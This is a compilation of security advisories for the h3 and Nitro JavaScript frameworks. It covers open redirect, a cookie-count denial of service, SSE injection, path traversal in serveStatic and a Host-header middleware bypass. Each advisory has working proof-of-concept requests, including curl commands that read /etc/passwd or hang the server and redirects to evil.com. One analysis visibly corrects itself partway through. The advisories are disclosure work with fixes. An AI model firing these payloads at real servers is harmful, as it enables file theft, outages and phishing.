Safe examples: H3 v2, Express v5, Hono v4 — modern JS frameworks keep %2F opaque per RFC 3986.
Vulnerable examples: naive imlementations that decodes the URL, static file servers, CGI dispatchers, Python os.path-based routing, anything sitting behind another layer that decodes %2F (common in microservice meshes).
Impact
Any HTTP path reachable from the Nitro server to the upstream could be requested, regardless of the configured / scope. In typical deployments (API gateway, BFF, microservice proxy) this could expose internal admin endpoints, secrets endpoints, or other services the developer believed the scope rule fenced off.
Patched versions
Upgrade to one of:
2.13.4 or later (https://github.com/nitrojs/nitro/pull/4223)
3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4222)
The fix canonicalizes the incoming pathname before building the upstream URL and rejects requests with 400 Bad Request if the resolved path would escape the rule's base. The bytes forwarded upstream are unchanged when the request is allowed.
> Note: the fix assumes the upstream does not double-decode percent-encoding. If your upstream decodes twice (%252F → %2F → /`), it remains your responsibility to harden it. Single-decode is standard**.
Credits
Reported by @mHe4am (@he4am on HackerOne) via the Vercel Open Source program.
H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation
Summary
The redirectBack() utility in h3 validates that the Referer header shares the same origin as the request before using its pathname as the redirect Location. However, the pathname is not sanitized for protocol-relative paths (starting with //). An attacker can craft a same-origin URL with a double-slash path segment that passes the origin check but produces a Location header interpreted by browsers as a protocol-relative redirect to an external domain.
Details
The vulnerable code is in src/utils/response.ts:89-97:
``typescript
export function redirectBack(
event: H3Event,
opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},
): HTTPResponse {
const referer = event.req.headers.get("referer");
let location = opts.fallback ?? "/";
if (referer && URL.canParse(referer)) {
const refererURL = new URL(referer);
if (refererURL.origin === event.url.origin) {
// BUG: pathname can be "//evil.com/path" which browsers interpret
// as a protocol-relative URL
location = refererURL.pathname + (opts.allowQuery ? refererURL.search : "");
}
}
return redirect(location, opts.status);
}
`
The root cause is a discrepancy between how the WHATWG URL parser and browsers handle double-slash paths:
1. new URL("http://target.com//evil.com/path").origin → "http://target.com" — origin check passes
2. new URL("http://target.com//evil.com/path").pathname → "//evil.com/path" — extracted as redirect location
3. Browser receives Location: //evil.com/path → interprets as protocol-relative URL → redirects to evil.com
Attack scenario: The attacker shares a link like http://target.com//evil.com/page. If the target application has catch-all routes (common in SPAs built with h3/Nitro), the app serves its page at that URL. When the user navigates to an endpoint calling redirectBack(), the browser sends Referer: http://target.com//evil.com/page. The origin check passes, and the user is redirected to evil.com, which can host a phishing page mimicking the target.
PoC
`bash
1. Create a minimal h3 app with redirectBack
cat > /tmp/h3-redirect-poc.ts << 'SCRIPT'
import { H3, redirectBack } from "h3";
const app = new H3();
app.post("/submit", (event) => redirectBack(event));
const res = await app.fetch(new Request("http://localhost/submit", {
method: "POST",
headers: { referer: "http://localhost//evil.com/steal" }
}));
console.log("Status:", res.status);
console.log("Location:", res.headers.get("location"));
// Expected: a same-origin path
// Actual: "//evil.com/steal" — protocol-relative redirect to evil.com
SCRIPT
2. Verify URL parsing behavior
node -e "
const u = new URL('http://localhost//evil.com/steal');
console.log('origin:', u.origin); // http://localhost
console.log('pathname:', u.pathname); // //evil.com/steal
console.log('origin matches localhost:', u.origin === 'http://localhost'); // true
"
Output:
origin: http://localhost
pathname: //evil.com/steal
origin matches localhost: true
`
Impact
An attacker can redirect users from a trusted application to an attacker-controlled domain. This enables:
Credential phishing: Redirect to a lookalike login page to harvest credentials
OAuth token theft: In OAuth flows using redirectBack(), steal authorization codes by redirecting to an attacker's callback
Trust exploitation: Users see the initial link points to the trusted domain, lowering suspicion
The vulnerability requires no authentication and affects any endpoint using redirectBack().
Recommended Fix
Sanitize the extracted pathname to prevent protocol-relative URLs. In src/utils/response.ts, after extracting the pathname from the referer:
`typescript
export function redirectBack(
event: H3Event,
opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},
): HTTPResponse {
const referer = event.req.headers.get("referer");
let location = opts.fallback ?? "/";
if (referer && URL.canParse(referer)) {
const refererURL = new URL(referer);
if (refererURL.origin === event.url.origin) {
let pathname = refererURL.pathname;
// Prevent protocol-relative open redirect (e.g., "//evil.com")
if (pathname.startsWith("//")) {
pathname = "/" + pathname.replace(/^\/+/, "");
}
location = pathname + (opts.allowQuery ? refererURL.search : "");
}
}
return redirect(location, opts.status);
}
``
H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service
Summary
The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.
Details
The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.
The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:
``typescript
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
// No upper bound check — attacker controls this value
}
`
This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:
`typescript
const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
const previousChunkCount = getChunkedCookieCount(previousCookie);
if (previousChunkCount > chunkCount) {
for (let i = chunkCount; i <= previousChunkCount; i++) {
deleteCookie(event, chunkCookieName(name, i), options);
// Each deleteCookie → setCookie → scans ALL existing set-cookie headers
}
}
}
`
The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:
`typescript
const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
for (let i = 0; i < chunksCount; i++) {
deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
}
}
`
The exploit chain through sessions:
1. Attacker sends Cookie: h3=__chunked__999999 to any session-using endpoint
2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124)
3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request
4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143)
5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179)
6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182
7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small)
8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie()
9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106)
10. This creates O(n²) complexity — approximately 10¹² operations for n=999999
Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.
PoC
Prerequisites: An h3 application with any endpoint using getSession() or useSession().
Example minimal server:
`typescript
import { H3 } from "h3";
import { getSession } from "h3";
const app = new H3();
app.get("/dashboard", async (event) => {
const session = await getSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { user: session.data.user || "anonymous" };
});
export default app;
`
Attack (single request, no authentication):
`bash
This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard
`
For a less extreme but still impactful test:
`bash
~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard
`
The deleteChunkedCookie() path is exploitable via clearSession():
`typescript
app.post("/logout", async (event) => {
await clearSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { ok: true };
});
`
`bash
curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout
`
Impact
Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
Minimal attacker effort: The payload is trivially small (Cookie: h3=__chunked__999999), making it easy to automate or repeat.
Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications.
Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.
Recommended Fix
Add a maximum chunk count constant and validate in getChunkedCookieCount():
`typescript
const MAX_CHUNKED_COOKIE_COUNT = 100;
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {
return Number.NaN;
}
return count;
}
`
This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector.
Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0` is false.
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Summary
The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.
Details
The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:
1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)
``typescript
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) { // Only splits on \n, not \r
result += data: ${line}\n;
}
`
String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:
`
data: legit\revent: evil\n
`
Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:
`
data: legit
event: evil
`
2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)
`typescript
export function formatEventStreamComment(comment: string): string {
return (
comment
.split("\n") // Only splits on \n, not \r
.map((l) => : ${l}\n)
.join("") + "\n"
);
}
`
The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:
`
: x\rdata: injected\n\n
`
Which the browser parses as a comment line followed by actual data:
`
: x
data: injected
`
Why _sanitizeSingleLine doesn't help
The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:
`typescript
function _sanitizeSingleLine(value: string): string {
return value.replace(/[\n\r]/g, "");
}
`
But it is only applied to id and event fields (lines 182, 185), not to data or comment.
PoC
Setup
Create a minimal h3 application that reflects user input into an SSE stream:
`javascript
// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";
const app = createApp();
app.use("/sse", defineEventHandler(async (event) => {
const stream = createEventStream(event);
const { msg } = getQuery(event);
// Simulates user-controlled input flowing to SSE (common in chat/AI apps)
await stream.push(String(msg));
setTimeout(() => stream.close(), 1000);
return stream.send();
}));
export default app;
`
Attack 1: Event type injection via \r in data
`bash
Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"
`
Expected (safe) wire output:
`
data: legit\revent: evil\n\n
`
Browser parses as:
`
data: legit
event: evil
`
The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.
Attack 2: Message boundary injection (event splitting)
`bash
Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"
`
Browser parses as two separate events:
1. Event 1: data: first
2. Event 2: data: injected
A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.
Attack 3: Comment escape to data injection
`bash
Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"
`
Browser parses as:
`
: x (comment, ignored)
data: injected (real data, dispatched as event)
`
Impact
Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation.
Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface.
Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment().
Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.
Recommended Fix
Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition.
`typescript
// src/utils/internal/event-stream.ts
// Add a shared regex for SSE line terminators
const SSE_LINE_SPLIT = /\r\n|\r|\n/;
export function formatEventStreamComment(comment: string): string {
return (
comment
.split(SSE_LINE_SPLIT) // was: .split("\n")
.map((l) => : ${l}\n)
.join("") + "\n"
);
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += id: ${_sanitizeSingleLine(message.id)}\n;
}
if (message.event) {
result += event: ${_sanitizeSingleLine(message.event)}\n;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += retry: ${message.retry}\n;
}
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split(SSE_LINE_SPLIT)) { // was: data.split("\n")
result += data: ${line}\n;
}
result += "\n";
return result;
}
`
This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r` from being passed through to the browser where it would be interpreted as a line break.
h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
Summary
The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.
Details
The vulnerability is a conflict between two decoding stages:
Stage 1 — H3Event constructor (src/event.ts:65-69):
``typescript
if (url.pathname.includes("%")) {
url.pathname = decodeURI(
url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
);
}
`
This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).
Stage 2 — serveStatic (src/utils/static.ts:86-88):
`typescript
const originalId = resolveDotSegments(
decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);
`
This applies a second decodeURI(), which decodes %2e → ., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.
Wait — re-examining the flow more carefully:
1. Input pathname after event.ts: /%2e%2e/%2e%2e/etc/passwd
2. decodeURI() in static.ts converts %2e → ., producing: /../../../etc/passwd
3. resolveDotSegments("/../../../etc/passwd") does resolve .. segments, clamping to /etc/passwd
The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:
1. Request: /%252e%252e/%252e%252e/etc/passwd
2. After event.ts decode: /%2e%2e/%2e%2e/etc/passwd
3. decodeURI() in static.ts: /%2e%2e/%2e%2e/etc/passwd (unchanged — decodeURI doesn't decode %2e)
4. resolveDotSegments() fast-returns at line 56 because %2e contains no literal . character:
`typescript
if (!path.includes(".")) {
return path;
}
`
5. Asset ID /%2e%2e/%2e%2e/etc/passwd is passed to getMeta() and getContents() callbacks
6. URL-based backends resolve %2e%2e as .. per RFC 3986 / URL Standard
The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.
PoC
1. Create a minimal h3 server with a URL-based static backend:
`javascript
// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";
const app = new H3();
app.get("/", (event) => {
return serveStatic(event, {
getMeta(id) {
console.log("[getMeta] asset ID:", id);
// Simulate URL-based backend (CDN/S3)
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getMeta] resolved URL:", url.href);
return { type: "text/plain" };
},
getContents(id) {
console.log("[getContents] asset ID:", id);
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getContents] resolved URL:", url.href);
return Fetched from: ${url.href};
},
});
});
serve({ fetch: app.fetch, port: 3000 });
`
2. Send the double-encoded traversal request:
`bash
curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'
`
3. Observe server logs:
`
[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getMeta] resolved URL: https://cdn.example.com/etc/passwd
[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getContents] resolved URL: https://cdn.example.com/etc/passwd
`
The %2e%2e sequences in the asset ID are resolved as .. by the URL constructor, causing the backend URL to traverse from /static/ to /etc/passwd.
Impact
Arbitrary file read from backend storage: An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).
Sensitive data exposure: Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.
Affected deployments: Applications using serveStatic with callbacks that resolve asset IDs via URL construction (new URL(id, baseUrl) or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using path.join() are not affected since %2e%2e is not resolved as a traversal sequence by filesystem APIs.
Recommended Fix
The resolveDotSegments() function must account for percent-encoded dot sequences. Additionally, the redundant decodeURI() in serveStatic should be removed since H3Event already handles decoding.
Fix 1 — Remove redundant decodeURI in src/utils/static.ts:86-88:
`diff
const originalId = resolveDotSegments(
decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
withLeadingSlash(withoutTrailingSlash(event.url.pathname)),
);
`
Fix 2 — Harden resolveDotSegments in src/utils/internal/path.ts:55-73 to handle percent-encoded dots:**
`diff
export function resolveDotSegments(path: string): string {
if (!path.includes(".")) {
if (!path.includes(".") && !path.toLowerCase().includes("%2e")) {
return path;
}
// Normalize backslashes to forward slashes to prevent traversal via \
const segments = path.replaceAll("\\", "/").split("/");
const segments = path.replaceAll("\\", "/")
.replaceAll(/%2e/gi, ".")
.split("/");
const resolved: string[] = [];
`
Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring resolveDotSegments` cannot be bypassed with percent-encoded dots regardless of the caller.
h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read
Summary
serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.
Details
The vulnerability exists in src/utils/static.ts at line 86:
``typescript
const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));
`
On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).
This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).
The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.
When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.
Before exploit:
<img width="761" height="97" alt="image" src="https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627" />
Vulnerability chain
`
1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization)
3. decodeURI(): /../../../etc/passwd (%2e decoded to .)
4. getMeta(id): id = "/../../../etc/passwd" (no traversal check)
5. path.join(root,id): /etc/passwd (.. resolved by OS)
6. Response: contents of /etc/passwd
`
PoC
Vulnerable server (server.ts)
`typescript
import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";
const STATIC_ROOT = resolve("./public");
const app = new H3();
app.all("/", (event) =>
serveStatic(event, {
getMeta: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
const stat = statSync(filePath);
return { size: stat.size, mtime: stat.mtime };
} catch {
return undefined;
}
},
getContents: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
return readFileSync(filePath);
} catch {
return undefined;
}
},
})
);
serve({ fetch: app.fetch });
`
Exploit
`bash
Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
`
Result
`
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
`
Proof:
<img width="940" height="703" alt="image" src="https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1" />
Pwned by 0xkakashi
<img width="942" height="74" alt="image" src="https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95" />
Impact
An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().
This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.
Exploitable files include but are not limited to:**
/etc/passwd, /etc/shadow (if readable)
Application source code and configuration files
.env` files containing secrets, API keys, database credentials
Private keys and certificates
h3 has a middleware bypass with one gadget
H3 NodeRequestUrl bugs
Vulnerable pieces of code :
``js
import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()
const internalOnly = defineHandler((event, next) => {
const token = event.headers.get("x-internal-key");
if (token !== "SUPERRANDOMCANNOTBELEAKED") {
return new Response("Forbidden", { status: 403 });
}
return next();
});
const logger = defineHandler((event, next) => {
console.log("Logging : " + event.url.hostname)
return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);
app.get("/internal/run", () => {
return "Internal OK";
});
serve(app, { port: 3001 });
`
The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the `event.url` or `event.url.hostname` or `event.url._url`
It will lead to trigger one specials method
`js
// _url.mjs FastURL
get _url() {
if (this.#url) return this.#url;
this.#url = new NativeURL(this.href);
this.#href = void 0;
this.#protocol = void 0;
this.#host = void 0;
this.#pathname = void 0;
this.#search = void 0;
this.#searchParams = void 0;
this.#pos = void 0;
return this.#url;
}
`
The NodeRequestUrl is extends from FastURL so when we just access `.url` or trying to dump all data of this class . This function will be triggered !!
And as debugging , the this.#url is null and will reach to this code :
`js
this.#url = new NativeURL(this.href);
`
Where is the this.href comes from ?
`js
get href() {
if (this.#url) return this.#url.href;
if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""};
return this.#href;
}
`
Because the this.#url is still null so this.#href is built up by :
`js
if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""};
`
Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .
Middleware bypass
What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares
`js
handler(event) {
const route = this"~findRoute";
if (route) {
event.context.params = route.params;
event.context.matchedRoute = route.data;
}
const routeHandler = route?.data.handler || NoHandler;
const middleware = this"~getMiddleware";
return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}
`
So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc :
`py
import requests
url = "http://localhost:3000"
headers = {
"Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)
`
This is really dangerous if some one just try to dump all the event.url or something that trigger _url()` from class FastURL and need a fix immediately.